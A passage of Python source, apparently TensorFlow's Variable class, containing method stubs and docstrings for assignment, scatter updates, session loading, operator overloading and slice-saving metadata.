graph collection\n `GraphKeys.TRAINABLE_VARIABLES`.\n\n This constructor creates both a `variable` Op and an `assign` Op to set the\n variable to its initial value.\n\n Args:\n initial_value: A `Tensor`, or Python object convertible to a `Tensor`,\n which is the initial value for the Variable. The initial value must have\n a shape specified unless `validate_shape` is set to False. Can also be a\n callable with no argument that returns the initial value when called. In\n that case, `dtype` must be specified. (Note that initializer functions\n from init_ops.py must first be bound to a shape before being used here.)\n trainable: If `True`, GradientTapes automatically watch uses of this\n variable. Defaults to `True`, unless `synchronization` is set to\n `ON_READ`, in which case it defaults to `False`.\n validate_shape: If `False`, allows the variable to be initialized with a\n value of unknown shape. If `True`, the default, the shape of\n `initial_value` must be known.\n caching_device: Optional device string describing where the Variable\n should be cached for reading. Defaults to the Variable's device. If not\n `None`, caches on another device. Typical use is to cache on the device\n where the Ops using the Variable reside, to deduplicate copying through\n `Switch` and other conditional statements.\n name: Optional name for the variable. Defaults to `'Variable'` and gets\n uniquified automatically.\n variable_def: `VariableDef` protocol buffer. If not `None`, recreates the\n Variable object with its contents, referencing the variable's nodes in\n the graph, which must already exist. The graph is not changed.\n `variable_def` and the other arguments are mutually exclusive.\n dtype: If set, initial_value will be converted to the given type. If\n `None`, either the datatype will be kept (if `initial_value` is a\n Tensor), or `convert_to_tensor` will decide.\n import_scope: Optional `string`. Name scope to add to the `Variable.` Only\n used when initializing from protocol buffer.\n constraint: An optional projection function to be applied to the variable\n after being updated by an `Optimizer` (e.g. used to implement norm\n constraints or value constraints for layer weights). The function must\n take as input the unprojected Tensor representing the value of the\n variable and return the Tensor for the projected value (which must have\n the same shape). Constraints are not safe to use when doing asynchronous\n distributed training.\n synchronization: Indicates when a distributed a variable will be\n aggregated. Accepted values are constants defined in the class\n `tf.VariableSynchronization`. By default the synchronization is set to\n `AUTO` and the current `DistributionStrategy` chooses when to\n synchronize.\n aggregation: Indicates how a distributed variable will be aggregated.\n Accepted values are constants defined in the class\n `tf.VariableAggregation`.\n shape: (optional) The shape of this variable. If None, the shape of\n `initial_value` will be used. When setting this argument to\n `tf.TensorShape(None)` (representing an unspecified shape), the variable\n can be assigned with values of different shapes.\n\n Raises:\n ValueError: If both `variable_def` and initial_value are specified.\n ValueError: If the initial value is not specified, or does not have a\n shape and `validate_shape` is `True`.\n RuntimeError: If eager execution is enabled.\n \"\"\"\n raise NotImplementedError\n\n def __repr__(self):\n raise NotImplementedError\n\n def value(self):\n \"\"\"Returns the last snapshot of this variable.\n\n You usually do not need to call this method as all ops that need the value\n of the variable call it automatically through a `convert_to_tensor()` call.\n\n Returns a `Tensor` which holds the value of the variable. You can not\n assign a new value to this tensor as it is not a reference to the variable.\n\n To avoid copies, if the consumer of the returned value is on the same device\n as the variable, this actually returns the live value of the variable, not\n a copy. Updates to the variable are seen by the consumer. If the consumer\n is on a different device it will get a copy of the variable.\n\n Returns:\n A `Tensor` containing the value of the variable.\n \"\"\"\n raise NotImplementedError\n\n def read_value(self):\n \"\"\"Returns the value of this variable, read in the current context.\n\n Can be different from value() if it's on another device, with control\n dependencies, etc.\n\n Returns:\n A `Tensor` containing the value of the variable.\n \"\"\"\n raise NotImplementedError\n\n def set_shape(self, shape):\n \"\"\"Overrides the shape for this variable.\n\n Args:\n shape: the `TensorShape` representing the overridden shape.\n \"\"\"\n raise NotImplementedError\n\n @property\n def trainable(self):\n raise NotImplementedError\n\n @property\n def synchronization(self):\n raise NotImplementedError\n\n @property\n def aggregation(self):\n raise NotImplementedError\n\n def eval(self, session=None):\n \"\"\"In a session, computes and returns the value of this variable.\n\n This is not a graph construction method, it does not add ops to the graph.\n\n This convenience method requires a session where the graph\n containing this variable has been launched. If no session is\n passed, the default session is used. See `tf.compat.v1.Session` for more\n information on launching a graph and on sessions.\n\n ```python\n v = tf.Variable([1, 2])\n init = tf.compat.v1.global_variables_initializer()\n\n with tf.compat.v1.Session() as sess:\n sess.run(init)\n # Usage passing the session explicitly.\n print(v.eval(sess))\n # Usage with the default session. The 'with' block\n # above makes 'sess' the default session.\n print(v.eval())\n ```\n\n Args:\n session: The session to use to evaluate this variable. If none, the\n default session is used.\n\n Returns:\n A numpy `ndarray` with a copy of the value of this variable.\n \"\"\"\n raise NotImplementedError\n\n @deprecated(\n None, \"Use Variable.read_value. Variables in 2.X are initialized \"\n \"automatically both in eager and graph (inside tf.defun) contexts.\")\n def initialized_value(self):\n \"\"\"Returns the value of the initialized variable.\n\n You should use this instead of the variable itself to initialize another\n variable with a value that depends on the value of this variable.\n\n ```python\n # Initialize 'v' with a random tensor.\n v = tf.Variable(tf.random.truncated_normal([10, 40]))\n # Use `initialized_value` to guarantee that `v` has been\n # initialized before its value is used to initialize `w`.\n # The random values are picked only once.\n w = tf.Variable(v.initialized_value() * 2.0)\n ```\n\n Returns:\n A `Tensor` holding the value of this variable after its initializer\n has run.\n \"\"\"\n with ops.init_scope():\n # optimize node placement policy in initialized_value stage.\n with ops.colocate_with(self):\n return control_flow_ops.cond(is_variable_initialized(self),\n self.read_value,\n lambda: self.initial_value)\n\n @property\n def initial_value(self):\n \"\"\"Returns the Tensor used as the initial value for the variable.\n\n Note that this is different from `initialized_value()` which runs\n the op that initializes the variable before returning its value.\n This method returns the tensor that is used by the op that initializes\n the variable.\n\n Returns:\n A `Tensor`.\n \"\"\"\n raise NotImplementedError\n\n @property\n def constraint(self):\n \"\"\"Returns the constraint function associated with this variable.\n\n Returns:\n The constraint function that was passed to the variable constructor.\n Can be `None` if no constraint was passed.\n \"\"\"\n raise NotImplementedError\n\n def assign(self, value, use_locking=False, name=None, read_value=True):\n \"\"\"Assigns a new value to the variable.\n\n This is essentially a shortcut for `assign(self, value)`.\n\n Args:\n value: A `Tensor`. The new value for this variable.\n use_locking: If `True`, use locking during the assignment.\n name: The name of the operation to be created\n read_value: if True, will return something which evaluates to the new\n value of the variable; if False will return the assign op.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the assignment has completed.\n \"\"\"\n raise NotImplementedError\n\n def assign_add(self, delta, use_locking=False, name=None, read_value=True):\n \"\"\"Adds a value to this variable.\n\n This is essentially a shortcut for `assign_add(self, delta)`.\n\n Args:\n delta: A `Tensor`. The value to add to this variable.\n use_locking: If `True`, use locking during the operation.\n name: The name of the operation to be created\n read_value: if True, will return something which evaluates to the new\n value of the variable; if False will return the assign op.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the addition has completed.\n \"\"\"\n raise NotImplementedError\n\n def assign_sub(self, delta, use_locking=False, name=None, read_value=True):\n \"\"\"Subtracts a value from this variable.\n\n This is essentially a shortcut for `assign_sub(self, delta)`.\n\n Args:\n delta: A `Tensor`. The value to subtract from this variable.\n use_locking: If `True`, use locking during the operation.\n name: The name of the operation to be created\n read_value: if True, will return something which evaluates to the new\n value of the variable; if False will return the assign op.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the subtraction has completed.\n \"\"\"\n raise NotImplementedError\n\n def scatter_sub(self, sparse_delta, use_locking=False, name=None):\n \"\"\"Subtracts `tf.IndexedSlices` from this variable.\n\n Args:\n sparse_delta: `tf.IndexedSlices` to be subtracted from this variable.\n use_locking: If `True`, use locking during the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered subtraction has completed.\n\n Raises:\n TypeError: if `sparse_delta` is not an `IndexedSlices`.\n \"\"\"\n raise NotImplementedError\n\n def scatter_add(self, sparse_delta, use_locking=False, name=None):\n \"\"\"Adds `tf.IndexedSlices` to this variable.\n\n Args:\n sparse_delta: `tf.IndexedSlices` to be added to this variable.\n use_locking: If `True`, use locking during the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered addition has completed.\n\n Raises:\n TypeError: if `sparse_delta` is not an `IndexedSlices`.\n \"\"\"\n raise NotImplementedError\n\n def scatter_max(self, sparse_delta, use_locking=False, name=None):\n \"\"\"Updates this variable with the max of `tf.IndexedSlices` and itself.\n\n Args:\n sparse_delta: `tf.IndexedSlices` to use as an argument of max with this\n variable.\n use_locking: If `True`, use locking during the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered maximization has completed.\n\n Raises:\n TypeError: if `sparse_delta` is not an `IndexedSlices`.\n \"\"\"\n raise NotImplementedError\n\n def scatter_min(self, sparse_delta, use_locking=False, name=None):\n \"\"\"Updates this variable with the min of `tf.IndexedSlices` and itself.\n\n Args:\n sparse_delta: `tf.IndexedSlices` to use as an argument of min with this\n variable.\n use_locking: If `True`, use locking during the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered minimization has completed.\n\n Raises:\n TypeError: if `sparse_delta` is not an `IndexedSlices`.\n \"\"\"\n raise NotImplementedError\n\n def scatter_mul(self, sparse_delta, use_locking=False, name=None):\n \"\"\"Multiply this variable by `tf.IndexedSlices`.\n\n Args:\n sparse_delta: `tf.IndexedSlices` to multiply this variable by.\n use_locking: If `True`, use locking during the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered multiplication has completed.\n\n Raises:\n TypeError: if `sparse_delta` is not an `IndexedSlices`.\n \"\"\"\n raise NotImplementedError\n\n def scatter_div(self, sparse_delta, use_locking=False, name=None):\n \"\"\"Divide this variable by `tf.IndexedSlices`.\n\n Args:\n sparse_delta: `tf.IndexedSlices` to divide this variable by.\n use_locking: If `True`, use locking during the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered division has completed.\n\n Raises:\n TypeError: if `sparse_delta` is not an `IndexedSlices`.\n \"\"\"\n raise NotImplementedError\n\n def scatter_update(self, sparse_delta, use_locking=False, name=None):\n \"\"\"Assigns `tf.IndexedSlices` to this variable.\n\n Args:\n sparse_delta: `tf.IndexedSlices` to be assigned to this variable.\n use_locking: If `True`, use locking during the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered assignment has completed.\n\n Raises:\n TypeError: if `sparse_delta` is not an `IndexedSlices`.\n \"\"\"\n raise NotImplementedError\n\n def batch_scatter_update(self, sparse_delta, use_locking=False, name=None):\n \"\"\"Assigns `tf.IndexedSlices` to this variable batch-wise.\n\n Analogous to `batch_gather`. This assumes that this variable and the\n sparse_delta IndexedSlices have a series of leading dimensions that are the\n same for all of them, and the updates are performed on the last dimension of\n indices. In other words, the dimensions should be the following:\n\n `num_prefix_dims = sparse_delta.indices.ndims - 1`\n `batch_dim = num_prefix_dims + 1`\n `sparse_delta.updates.shape = sparse_delta.indices.shape + var.shape[\n batch_dim:]`\n\n where\n\n `sparse_delta.updates.shape[:num_prefix_dims]`\n `== sparse_delta.indices.shape[:num_prefix_dims]`\n `== var.shape[:num_prefix_dims]`\n\n And the operation performed can be expressed as:\n\n `var[i_1, ..., i_n,\n sparse_delta.indices[i_1, ..., i_n, j]] = sparse_delta.updates[\n i_1, ..., i_n, j]`\n\n When sparse_delta.indices is a 1D tensor, this operation is equivalent to\n `scatter_update`.\n\n To avoid this operation one can looping over the first `ndims` of the\n variable and using `scatter_update` on the subtensors that result of slicing\n the first dimension. This is a valid option for `ndims = 1`, but less\n efficient than this implementation.\n\n Args:\n sparse_delta: `tf.IndexedSlices` to be assigned to this variable.\n use_locking: If `True`, use locking during the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered assignment has completed.\n\n Raises:\n TypeError: if `sparse_delta` is not an `IndexedSlices`.\n \"\"\"\n raise NotImplementedError\n\n def scatter_nd_sub(self, indices, updates, name=None):\n \"\"\"Applies sparse subtraction to individual values or slices in a Variable.\n\n Assuming the variable has rank `P` and `indices` is a `Tensor` of rank `Q`.\n\n `indices` must be integer tensor, containing indices into self.\n It must be shape `[d_0, ..., d_{Q-2}, K]` where `0 < K <= P`.\n\n The innermost dimension of `indices` (with length `K`) corresponds to\n indices into elements (if `K = P`) or slices (if `K < P`) along the `K`th\n dimension of self.\n\n `updates` is `Tensor` of rank `Q-1+P-K` with shape:\n\n ```\n [d_0, ..., d_{Q-2}, self.shape[K], ..., self.shape[P-1]].\n ```\n\n For example, say we want to add 4 scattered elements to a rank-1 tensor to\n 8 elements. In Python, that update would look like this:\n\n ```python\n v = tf.Variable([1, 2, 3, 4, 5, 6, 7, 8])\n indices = tf.constant([[4], [3], [1] ,[7]])\n updates = tf.constant([9, 10, 11, 12])\n op = v.scatter_nd_sub(indices, updates)\n with tf.compat.v1.Session() as sess:\n print sess.run(op)\n ```\n\n The resulting update to v would look like this:\n\n [1, -9, 3, -6, -6, 6, 7, -4]\n\n See `tf.scatter_nd` for more details about how to make updates to\n slices.\n\n Args:\n indices: The indices to be used in the operation.\n updates: The values to be used in the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered subtraction has completed.\n \"\"\"\n raise NotImplementedError\n\n def scatter_nd_add(self, indices, updates, name=None):\n \"\"\"Applies sparse addition to individual values or slices in a Variable.\n\n The Variable has rank `P` and `indices` is a `Tensor` of rank `Q`.\n\n `indices` must be integer tensor, containing indices into self.\n It must be shape `[d_0, ..., d_{Q-2}, K]` where `0 < K <= P`.\n\n The innermost dimension of `indices` (with length `K`) corresponds to\n indices into elements (if `K = P`) or slices (if `K < P`) along the `K`th\n dimension of self.\n\n `updates` is `Tensor` of rank `Q-1+P-K` with shape:\n\n ```\n [d_0, ..., d_{Q-2}, self.shape[K], ..., self.shape[P-1]].\n ```\n\n For example, say we want to add 4 scattered elements to a rank-1 tensor to\n 8 elements. In Python, that update would look like this:\n\n ```python\n v = tf.Variable([1, 2, 3, 4, 5, 6, 7, 8])\n indices = tf.constant([[4], [3], [1] ,[7]])\n updates = tf.constant([9, 10, 11, 12])\n add = v.scatter_nd_add(indices, updates)\n with tf.compat.v1.Session() as sess:\n print sess.run(add)\n ```\n\n The resulting update to v would look like this:\n\n [1, 13, 3, 14, 14, 6, 7, 20]\n\n See `tf.scatter_nd` for more details about how to make updates to\n slices.\n\n Args:\n indices: The indices to be used in the operation.\n updates: The values to be used in the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered addition has completed.\n \"\"\"\n raise NotImplementedError\n\n def scatter_nd_update(self, indices, updates, name=None):\n \"\"\"Applies sparse assignment to individual values or slices in a Variable.\n\n The Variable has rank `P` and `indices` is a `Tensor` of rank `Q`.\n\n `indices` must be integer tensor, containing indices into self.\n It must be shape `[d_0, ..., d_{Q-2}, K]` where `0 < K <= P`.\n\n The innermost dimension of `indices` (with length `K`) corresponds to\n indices into elements (if `K = P`) or slices (if `K < P`) along the `K`th\n dimension of self.\n\n `updates` is `Tensor` of rank `Q-1+P-K` with shape:\n\n ```\n [d_0, ..., d_{Q-2}, self.shape[K], ..., self.shape[P-1]].\n ```\n\n For example, say we want to add 4 scattered elements to a rank-1 tensor to\n 8 elements. In Python, that update would look like this:\n\n ```python\n v = tf.Variable([1, 2, 3, 4, 5, 6, 7, 8])\n indices = tf.constant([[4], [3], [1] ,[7]])\n updates = tf.constant([9, 10, 11, 12])\n op = v.scatter_nd_assign(indices, updates)\n with tf.compat.v1.Session() as sess:\n print sess.run(op)\n ```\n\n The resulting update to v would look like this:\n\n [1, 11, 3, 10, 9, 6, 7, 12]\n\n See `tf.scatter_nd` for more details about how to make updates to\n slices.\n\n Args:\n indices: The indices to be used in the operation.\n updates: The values to be used in the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered assignment has completed.\n \"\"\"\n raise NotImplementedError\n\n def sparse_read(self, indices, name=None, ev_init_value=None):\n r\"\"\"Gather slices from params axis axis according to indices.\n\n This function supports a subset of tf.gather, see tf.gather for details on\n usage.\n\n Args:\n indices: The index `Tensor`. Must be one of the following types: `int32`,\n `int64`. Must be in range `[0, params.shape[axis])`.\n name: A name for the operation (optional).\n\n Returns:\n A `Tensor`. Has the same type as `params`.\n \"\"\"\n raise AttributeError\n\n def gather_nd(self, indices, name=None):\n r\"\"\"Gather slices from `params` into a Tensor with shape specified by `indices`.\n\n See tf.gather_nd for details.\n\n Args:\n indices: A `Tensor`. Must be one of the following types: `int32`, `int64`.\n Index tensor.\n name: A name for the operation (optional).\n\n Returns:\n A `Tensor`. Has the same type as `params`.\n \"\"\"\n raise AttributeError\n\n @deprecated(None, \"Prefer Dataset.range instead.\")\n def count_up_to(self, limit):\n \"\"\"Increments this variable until it reaches `limit`.\n\n When that Op is run it tries to increment the variable by `1`. If\n incrementing the variable would bring it above `limit` then the Op raises\n the exception `OutOfRangeError`.\n\n If no error is raised, the Op outputs the value of the variable before\n the increment.\n\n This is essentially a shortcut for `count_up_to(self, limit)`.\n\n Args:\n limit: value at which incrementing the variable raises an error.\n\n Returns:\n A `Tensor` that will hold the variable value before the increment. If no\n other Op modifies this variable, the values produced will all be\n distinct.\n \"\"\"\n raise NotImplementedError\n\n @deprecated(None,\n \"Prefer Variable.assign which has equivalent behavior in 2.X.\")\n def load(self, value, session=None):\n \"\"\"Load new value into this variable.\n\n Writes new value to variable's memory. Doesn't add ops to the graph.\n\n This convenience method requires a session where the graph\n containing this variable has been launched. If no session is\n passed, the default session is used. See `tf.compat.v1.Session` for more\n information on launching a graph and on sessions.\n\n ```python\n v = tf.Variable([1, 2])\n init = tf.compat.v1.global_variables_initializer()\n\n with tf.compat.v1.Session() as sess:\n sess.run(init)\n # Usage passing the session explicitly.\n v.load([2, 3], sess)\n print(v.eval(sess)) # prints [2 3]\n # Usage with the default session. The 'with' block\n # above makes 'sess' the default session.\n v.load([3, 4], sess)\n print(v.eval()) # prints [3 4]\n ```\n\n Args:\n value: New variable value\n session: The session to use to evaluate this variable. If none, the\n default session is used.\n\n Raises:\n ValueError: Session is not passed and no default session\n \"\"\"\n if context.executing_eagerly():\n self.assign(value)\n else:\n session = session or ops.get_default_session()\n if session is None:\n raise ValueError(\n \"Either session argument should be provided or default session \"\n \"should be established\")\n session.run(self.initializer, {self.initializer.inputs[1]: value})\n\n # Conversion to tensor.\n @staticmethod\n def _TensorConversionFunction(v, dtype=None, name=None, as_ref=False): # pylint: disable=invalid-name\n \"\"\"Utility function for converting a Variable to a Tensor.\"\"\"\n _ = name\n if dtype and not dtype.is_compatible_with(v.dtype):\n raise ValueError(\n \"Incompatible type conversion requested to type '%s' for variable \"\n \"of type '%s'\" % (dtype.name, v.dtype.name))\n if as_ref:\n return v._ref() # pylint: disable=protected-access\n else:\n return v.value()\n\n @classmethod\n def _OverloadAllOperators(cls): # pylint: disable=invalid-name\n \"\"\"Register overloads for all operators.\"\"\"\n for operator in ops.Tensor.OVERLOADABLE_OPERATORS:\n cls._OverloadOperator(operator)\n # For slicing, bind getitem differently than a tensor (use SliceHelperVar\n # instead)\n # pylint: disable=protected-access\n setattr(cls, \"__getitem__\", array_ops._SliceHelperVar)\n\n @classmethod\n def _OverloadOperator(cls, operator): # pylint: disable=invalid-name\n \"\"\"Defer an operator overload to `ops.Tensor`.\n\n We pull the operator out of ops.Tensor dynamically to avoid ordering issues.\n\n Args:\n operator: string. The operator name.\n \"\"\"\n # We can't use the overload mechanism on __eq__ & __ne__ since __eq__ is\n # called when adding a variable to sets. As a result we call a.value() which\n # causes infinite recursion when operating within a GradientTape\n # TODO(gjn): Consider removing this\n if operator == \"__eq__\" or operator == \"__ne__\":\n return\n\n tensor_oper = getattr(ops.Tensor, operator)\n\n def _run_op(a, *args, **kwargs):\n # pylint: disable=protected-access\n return tensor_oper(a.value(), *args, **kwargs)\n\n functools.update_wrapper(_run_op, tensor_oper)\n setattr(cls, operator, _run_op)\n\n def __hash__(self):\n if ops.Tensor._USE_EQUALITY and ops.executing_eagerly_outside_functions(): # pylint: disable=protected-access\n raise TypeError(\"Variable is unhashable if Tensor equality is enabled. \"\n \"Instead, use tensor.experimental_ref() as the key.\")\n else:\n return id(self)\n\n # TODO(gjn): duplicate of math_ops.tensor_equals, consider removing\n def __eq__(self, other):\n \"\"\"Compares two variables element-wise for equality.\"\"\"\n if ops.Tensor._USE_EQUALITY and ops.executing_eagerly_outside_functions(): # pylint: disable=protected-access\n if fwd_compat.forward_compatible(2019, 9, 25):\n return gen_math_ops.equal(self, other, incompatible_shape_error=False)\n else:\n return gen_math_ops.equal(self, other)\n else:\n # In legacy graph mode, tensor equality is object equality\n return self is other\n\n # TODO(gjn): duplicate of math_ops.tensor_not_equals, consider removing\n def __ne__(self, other):\n \"\"\"Compares two variables element-wise for equality.\"\"\"\n if ops.Tensor._USE_EQUALITY and ops.executing_eagerly_outside_functions(): # pylint: disable=protected-access\n if fwd_compat.forward_compatible(2019, 9, 25):\n return gen_math_ops.not_equal(\n self, other, incompatible_shape_error=False)\n else:\n return gen_math_ops.not_equal(self, other)\n else:\n # In legacy graph mode, tensor equality is object equality\n return self is not other\n\n def __iter__(self):\n \"\"\"Dummy method to prevent iteration.\n\n Do not call.\n\n NOTE(mrry): If we register __getitem__ as an overloaded operator,\n Python will valiantly attempt to iterate over the variable's Tensor from 0\n to infinity. Declaring this method prevents this unintended behavior.\n\n Raises:\n TypeError: when invoked.\n \"\"\"\n raise TypeError(\"'Variable' object is not iterable.\")\n\n # NOTE(mrry): This enables the Variable's overloaded \"right\" binary\n # operators to run when the left operand is an ndarray, because it\n # accords the Variable class higher priority than an ndarray, or a\n # numpy matrix.\n # TODO(mrry): Convert this to using numpy's __numpy_ufunc__\n # mechanism, which allows more control over how Variables interact\n # with ndarrays.\n __array_priority__ = 100\n\n @property\n def name(self):\n \"\"\"The name of this variable.\"\"\"\n raise NotImplementedError\n\n @property\n def _shared_name(self):\n \"\"\"The shared name of the variable.\n\n Unlike name(), shared_name doesn't have \":0\" suffix. It is user-specified\n name with name scope prefix.\n\n Returns:\n variable name.\n \"\"\"\n return self.name[:self.name.index(\":\")]\n\n @property\n def initializer(self):\n \"\"\"The initializer operation for this variable.\"\"\"\n raise NotImplementedError\n\n @property\n def device(self):\n \"\"\"The device of this variable.\"\"\"\n raise NotImplementedError\n\n @property\n def dtype(self):\n \"\"\"The `DType` of this variable.\"\"\"\n raise NotImplementedError\n\n @property\n def op(self):\n \"\"\"The `Operation` of this variable.\"\"\"\n raise NotImplementedError\n\n @property\n def graph(self):\n \"\"\"The `Graph` of this variable.\"\"\"\n raise NotImplementedError\n\n @property\n def shape(self):\n \"\"\"The `TensorShape` of this variable.\n\n Returns:\n A `TensorShape`.\n \"\"\"\n raise NotImplementedError\n\n def get_shape(self):\n \"\"\"Alias of `Variable.shape`.\"\"\"\n return self.shape\n\n def _gather_saveables_for_checkpoint(self):\n \"\"\"For implementing `Trackable`. This object is saveable on its own.\"\"\"\n return {trackable.VARIABLE_VALUE_KEY: self}\n\n def to_proto(self, export_scope=None):\n \"\"\"Converts a `Variable` to a `VariableDef` protocol buffer.\n\n Args:\n export_scope: Optional `string`. Name scope to remove.\n\n Returns:\n A `VariableDef` protocol buffer, or `None` if the `Variable` is not\n in the specified name scope.\n \"\"\"\n raise NotImplementedError\n\n @staticmethod\n def from_proto(variable_def, import_scope=None):\n \"\"\"Returns a `Variable` object created from `variable_def`.\"\"\"\n return RefVariable(variable_def=variable_def, import_scope=import_scope)\n\n def _set_save_slice_info(self, save_slice_info):\n \"\"\"Sets the slice info for this `Variable`.\n\n Args:\n save_slice_info: A `Variable.SaveSliceInfo` object.\n \"\"\"\n self._save_slice_info = save_slice_info\n\n def _get_save_slice_info(self):\n return self._save_slice_info\n\n def experimental_ref(self):\n # tf.Tensor also has the same experimental_ref() API. If you update the\n # documenation here, please update tf.Tensor.experimental_ref() as well.\n \"\"\"Returns a hashable reference object to this Variable.\n\n Warning: Experimental API that could be changed or removed.\n\n The primary usecase for this API is to put variables in a set/dictionary.\n We can't put variables in a set/dictionary as `variable.__hash__()` is no\n longer available starting Tensorflow 2.0.\n\n ```python\n import tensorflow as tf\n\n x = tf.Variable(5)\n y = tf.Variable(10)\n z = tf.Variable(10)\n\n # The followings will raise an exception starting 2.0\n # TypeError: Variable is unhashable if Variable equality is enabled.\n variable_set = {x, y, z}\n variable_dict = {x: 'five', y: 'ten'}\n ```\n\n Instead, we can use `variable.experimental_ref()`.\n\n ```python\n variable_set = {x.experimental_ref(),\n y.experimental_ref(),\n z.experimental_ref()}\n\n print(x.experimental_ref() in variable_set)\n ==> True\n\n variable_dict = {x.experimental_ref(): 'five',\n y.experimental_ref(): 'ten',\n z.experimental_ref(): 'ten'}\n\n print(variable_dict[y.experimental_ref()])\n ==> ten\n ```\n\n Also, the reference object provides `.deref()` function that returns the\n original Variable.\n\n ```python\n x = tf.Variable(5)\n print(x.experimental_ref().deref())\n ==> \n ```\n \"\"\"\n return object_identity.Reference(self)\n\n class SaveSliceInfo(object):\n \"\"\"Information on how to save this Variable as a slice.\n\n Provides internal support for saving variables as slices of a larger\n variable. This API is not public and is subject to change.\n\n Available properties:\n\n * full_name\n * full_shape\n * var_offset\n * var_shape\n \"\"\"\n\n def __init__(self,\n full_name=None,\n full_shape=None,\n var_offset=None,\n var_shape=None,\n save_slice_info_def=None,\n import_scope=None,\n var_full_name=None):\n \"\"\"Create a `SaveSliceInfo`.\n\n Args:\n full_name: Name of the full variable of which this `Variable` is a\n slice.\n full_shape: Shape of the full variable, as a list of int.\n var_offset: Offset of this `Variable` into the full variable, as a list\n of int.\n var_shape: Shape of this `Variable`, as a list of int.\n save_slice_info_def: `SaveSliceInfoDef` protocol buffer. If not `None`,\n recreates the SaveSliceInfo object its contents. `save_slice_info_def`\n and other arguments are mutually exclusive.\n import_scope: Optional `string`. Name scope to add. Only used when\n initializing from protocol buffer.\n \"\"\"\n if save_slice_info_def:\n assert isinstance(save_slice_info_def, variable_pb2.SaveSliceInfoDef)\n self.full_name = ops.prepend_name_scope(\n save_slice_info_def.full_name, import_scope=import_scope)\n self.full_shape = [i for i in save_slice_info_def.full_shape]\n self.var_offset = [i for i in save_slice_info_def.var_offset]\n self.var_shape = [i for i in save_slice_info_def.var_shape]\n self.var_full_name = var_full_name\n else:\n self.full_name = full_name\n self.full_shape = full_shape\n self.var_offset = var_offset\n self.var_shape = var_shape\n self.var_full_name = var_full_name\n\n @property\n def spec(self):\n \"\"\"Computes the spec string used for saving.\"\"\"\n full_shape_str = \" \".join([\"%d\" % d for d in self.full_shape]) + \" \"\n sl_spec = \":\".join(\n [\"%d,%d\" % (o, s) for o, s in zip(self.var_offset, self.var_shape)])\n return full_shape_str + sl_spec\n\n def to_proto(self, export_scope=None):\n \"\"\"Returns a SaveSliceInfoDef() proto.\n\n Args:\n export_scope: Optional `string`. Name scope to remove.\n\n Returns:\n A `SaveSliceInfoDef` protocol buffer, or None if the `Variable` is not\n in the specified name scope.\n \"\"\"\n if (export_scope is None or self.full_name.startswith(export_scope)):\n save_slice_info_def = variable_pb2.SaveSliceInfoDef()\n save_slice_info_def.full_name = ops.strip_name_scope(\n self.full_name, export_scope)\n for i in self.full_shape:\n save_slice_info_def.full_shape.append(i)\n for i in self.var_offset:\n save_slice_info_def.var_offset.append(i)\n for i in self.var_shape:\n save_slice_info_def.var_shape.append(i)\n return save_slice_info_def\n else:\n return None\n\n\nVariable._OverloadAllOperators() # pylint: disable=protected-access\npywrap_tensorflow.RegisterType(\"Variable\", Variable)\n\n\n@tf_export(v1=[\"Variable\"])\nclass VariableV1(Variable):\n \"\"\"See the [Variables Guide](https://tensorflow.org/guide/variables).\n\n A variable maintains state in the graph across calls to `run()`. You add a\n variable to the graph by constructing an instance of the class `Variable`.\n\n The `Variable()` constructor requires an initial value for the variable,\n which can be a `Tensor` of any type and shape. The initial value defines the\n type and shape of the variable. After construction, the type and shape of\n the variable are fixed. The value can be changed using one of the assign\n methods.\n\n If you want to change the shape of a variable later you have to use an\n `assign` Op with `validate_shape=False`.\n\n Just like any `Tensor`, variables created with `Variable()` can be used as\n inputs for other Ops in the graph. Additionally, all the operators\n overloaded for the `Tensor` class are carried over to variables, so you can\n also add nodes to the graph by just doing arithmetic on variables.\n\n ```python\n import tensorflow as tf\n\n # Create a variable.\n w = tf.Variable(, name=)\n\n # Use the variable in the graph like any Tensor.\n y = tf.matmul(w, ...another variable or tensor...)\n\n # The overloaded operators are available too.\n z = tf.sigmoid(w + y)\n\n # Assign a new value to the variable with `assign()` or a related method.\n w.assign(w + 1.0)\n w.assign_add(1.0)\n ```\n\n When you launch the graph, variables have to be explicitly initialized before\n you can run Ops that use their value. You can initialize a variable by\n running its *initializer op*, restoring the variable from a save file, or\n simply running an `assign` Op that assigns a value to the variable. In fact,\n the variable *initializer op* is just an `assign` Op that assigns the\n variable's initial value to the variable itself.\n\n ```python\n # Launch the graph in a session.\n with tf.compat.v1.Session() as sess:\n # Run the variable initializer.\n sess.run(w.initializer)\n # ...you now can run ops that use the value of 'w'...\n ```\n\n The most common initialization pattern is to use the convenience function\n `global_variables_initializer()` to add an Op to the graph that initializes\n all the variables. You then run that Op after launching the graph.\n\n ```python\n # Add an Op to initialize global variables.\n init_op = tf.compat.v1.global_variables_initializer()\n\n # Launch the graph in a session.\n with tf.compat.v1.Session() as sess:\n # Run the Op that initializes global variables.\n sess.run(init_op)\n # ...you can now run any Op that uses variable values...\n ```\n\n If you need to create a variable with an initial value dependent on another\n variable, use the other variable's `initialized_value()`. This ensures that\n variables are initialized in the right order.\n\n All variables are automatically collected in the graph where they are\n created. By default, the constructor adds the new variable to the graph\n collection `GraphKeys.GLOBAL_VARIABLES`. The convenience function\n `global_variables()` returns the contents of that collection.\n\n When building a machine learning model it is often convenient to distinguish\n between variables holding the trainable model parameters and other variables\n such as a `global step` variable used to count training steps. To make this\n easier, the variable constructor supports a `trainable=` parameter. If\n `True`, the new variable is also added to the graph collection\n 